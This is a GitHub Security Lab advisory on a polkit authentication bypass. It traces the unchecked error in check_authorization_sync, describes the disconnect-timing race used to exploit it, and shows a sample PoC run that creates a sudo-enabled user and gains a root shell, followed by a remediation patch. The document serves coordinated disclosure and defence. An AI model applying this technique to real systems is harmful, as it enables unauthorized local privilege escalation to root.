GHSL-2021-074: authentication bypass vulnerability in polkit
GHSL-2021-074
GitHub Security Lab (GHSL) Vulnerability Report: The GitHub Security Lab team has identified potential security vulnerabilities in polkit.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com
(please include GHSL-2021-074
as a reference).
If you are NOT the correct point of contact for this report, please let us know!
Summary
There is an authentication bypass vulnerability in polkit, which enables an unprivileged user to get authorization from polkit to perform a privileged action.
Product
Tested Versions
- policykit-1, 0.105-26ubuntu1 (tested on Ubuntu 20.04.2 LTS)
- policykit-1, 0.105-30 (tested on Ubuntu 21.04)
- polkit, 0.116-7 (tested on Fedora 32)
Details
GHSL-2021-074
)
Issue 1: Authentication bypass in polkit (The function polkit_system_bus_name_get_creds_sync
is used to get the uid and pid of the process requesting the action. It does this by sending the unique bus name of the requesting process, which is typically something like ":1.96", to dbus-daemon
. These unique names are assigned and managed by dbus-daemon
and cannot be forged, so this is a good way to check the privileges of the requesting process.
The vulnerability happens when the requesting process disconnects from dbus-daemon
just before the call to polkit_system_bus_name_get_creds_sync
starts. In this scenario, the unique bus name is no longer valid, so dbus-daemon
sends back an error reply. This error case is handled in polkit_system_bus_name_get_creds_sync
by setting the value of the error
parameter, but it still returns TRUE
, rather than FALSE
. We are not sure whether it's a bug that the return value is TRUE when this error happens, but this behavior certainly means that all callers of polkit_system_bus_name_get_creds_sync
need to carefully check whether an error was set. If the calling function forgets to check for errors then it will think that the uid of the requesting process is 0 (because the AsyncGetBusNameCredsData
struct is zero initialized). In other words, it will think that the action was requested by a root process, and will therefore allow it.
Most of the callers of polkit_system_bus_name_get_creds_sync
check the error value correctly, and are therefore not vulnerable. But the error value is not checked in the following stack trace:
0 in polkit_system_bus_name_get_creds_sync of polkitsystembusname.c:393
1 in polkit_system_bus_name_get_user_sync of polkitsystembusname.c:511
2 in polkit_backend_session_monitor_get_user_for_subject of polkitbackendsessionmonitor-systemd.c:303
3 in check_authorization_sync of polkitbackendinteractiveauthority.c:1113
4 in check_authorization_sync of polkitbackendinteractiveauthority.c:1223
5 in polkit_backend_interactive_authority_check_authorization of polkitbackendinteractiveauthority.c:971
6 in server_handle_check_authorization of polkitbackendauthority.c:795
7 in server_handle_method_call of polkitbackendauthority.c:1274
The bug is in this snippet of code in check_authorization_sync
:
/* every subject has a user; this is supplied by the client, so we rely
* on the caller to validate its acceptability. */
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL)
goto out;
/* special case: uid 0, root, is _always_ authorized for anything */
if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL);
goto out;
}
Notice that the value of error
is not checked.
Proof of concept exploit
The attached proof of concept exploit uses this vulnerability to create a new user account with sudo
privileges. It does so by calling the CreateUser
method on the org.freedesktop.Accounts
service. The CreateUser
method uses polkit to check the authorization. The basic concept of the exploit is to disconnect from dbus-daemon
before polkit calls the polkit_system_bus_name_get_creds_sync
function. The slightly tricky part of the exploit is to get the timing right. As mentioned above, most of the callers of polkit_system_bus_name_get_creds_sync
check the error correctly and will deny the request. If you put a breakpoint on polkit_system_bus_name_get_creds_sync
, you will see that the vulnerable stack trace doesn't occur until the sixth time the breakpoint is hit. Therefore, the key to a working exploit is to get the timing right, so that the disconnection happens just before the sixth call to polkit_system_bus_name_get_creds_sync
. In practice though, it seems to be fairly easy to trigger the vulnerability by trying repeatedly, with a random delay inserted each time.
Please find the source code for the proof of concept exploit attached. It's packaged as a git bundle, which you can unpack like this:
git clone -b main GHSL-2021-074-polkit.bundle
After you have unpacked the bundle, you will find a README with further instructions on how to build and run the PoC.
Here's a sample run:
kev@constellation:~$ git clone -b main GHSL-2021-074-polkit.bundle
Cloning into 'GHSL-2021-074-polkit'...
Receiving objects: 100% (8/8), 17.48 KiB | 17.48 MiB/s, done.
kev@constellation:~$ cd GHSL-2021-074-polkit/
kev@constellation:~/GHSL-2021-074-polkit$ git submodule update --init
Submodule 'DBusParse' (https://github.com/kevinbackhouse/DBusParse.git) registered for path 'DBusParse'
Cloning into '/home/kev/GHSL-2021-074-polkit/DBusParse'...
Submodule path 'DBusParse': checked out '0d28bdc3ba1c6c4e69e125aa394eddd6edb7622f'
kev@constellation:~/GHSL-2021-074-polkit$ mkdir build
kev@constellation:~/GHSL-2021-074-polkit$ cd build/
kev@constellation:~/GHSL-2021-074-polkit/build$ cmake ..
-- The C compiler identification is GNU 9.3.0
-- The CXX compiler identification is GNU 9.3.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/kev/GHSL-2021-074-polkit/build
kev@constellation:~/GHSL-2021-074-polkit/build$ make
Scanning dependencies of target DBusParse
[ 6%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus.cpp.o
[ 13%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_auth.cpp.o
[ 20%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_parse.cpp.o
[ 26%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_print.cpp.o
[ 33%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_random.cpp.o
[ 40%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_serialize.cpp.o
[ 46%] Building CXX object DBusParse/src/DBusParse/CMakeFiles/DBusParse.dir/dbus_utils.cpp.o
[ 53%] Linking CXX shared library libDBusParse.so
[ 53%] Built target DBusParse
Scanning dependencies of target DBusParseUtils
[ 60%] Building CXX object DBusParse/src/DBusParseUtils/CMakeFiles/DBusParseUtils.dir/parse.cpp.o
[ 66%] Building CXX object DBusParse/src/DBusParseUtils/CMakeFiles/DBusParseUtils.dir/utils.cpp.o
[ 73%] Linking CXX shared library libDBusParseUtils.so
[ 73%] Built target DBusParseUtils
Scanning dependencies of target createuser
[ 80%] Building CXX object CMakeFiles/createuser.dir/createuser.cpp.o
[ 80%] Building CXX object CMakeFiles/createuser.dir/createuser.cpp.o
[ 86%] Linking CXX executable createuser
[ 86%] Built target createuser
Scanning dependencies of target DBusParseUnitTests
[ 93%] Building CXX object DBusParse/tests/DBusParseUnitTests/CMakeFiles/DBusParseUnitTests.dir/dbus_unit_tests.cpp.o
[100%] Linking CXX executable DBusParseUnitTests
[100%] Built target DBusParseUnitTests
kev@constellation:~/GHSL-2021-074-polkit/build$ ./createuser /var/run/dbus/system_bus_socket boris iaminvincible!
Elapsed time: 5794122 nanoseconds
Successfully created /org/freedesktop/Accounts/User1008 after 2 iterations,
with a delay value of 1990058 nanoseconds
Elapsed time: 9143521 nanoseconds
Success!
kev@constellation:~/GHSL-2021-074-polkit/build$ id boris
uid=1008(boris) gid=1008(boris) groups=1008(boris),27(sudo)
kev@constellation:~/GHSL-2021-074-polkit/build$ su - boris
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
boris@constellation:~$ sudo su
[sudo] password for boris:
root@constellation:/home/boris# whoami
root
root@constellation:/home/boris#
Impact
This issue may lead to local privilege escalation on any Linux system that uses polkit.
Remediation
Add a check for error != NULL
, like this example (from polkit_backend_interactive_authority_check_authorization
):
user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
caller, NULL,
&error);
if (error != NULL)
{
g_simple_async_result_set_from_error (simple, error);
g_simple_async_result_complete (simple);
g_object_unref (simple);
g_error_free (error);
goto out;
}
Resources
Proof of concept exploit: GHSL-2021-074-polkit.bundle
Credit
This issue was discovered and reported by GHSL team member @kevinbackhouse (Kevin Backhouse).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-074
in any communication regarding this issue.
Disclosure Policy
This report is subject to our coordinated disclosure policy.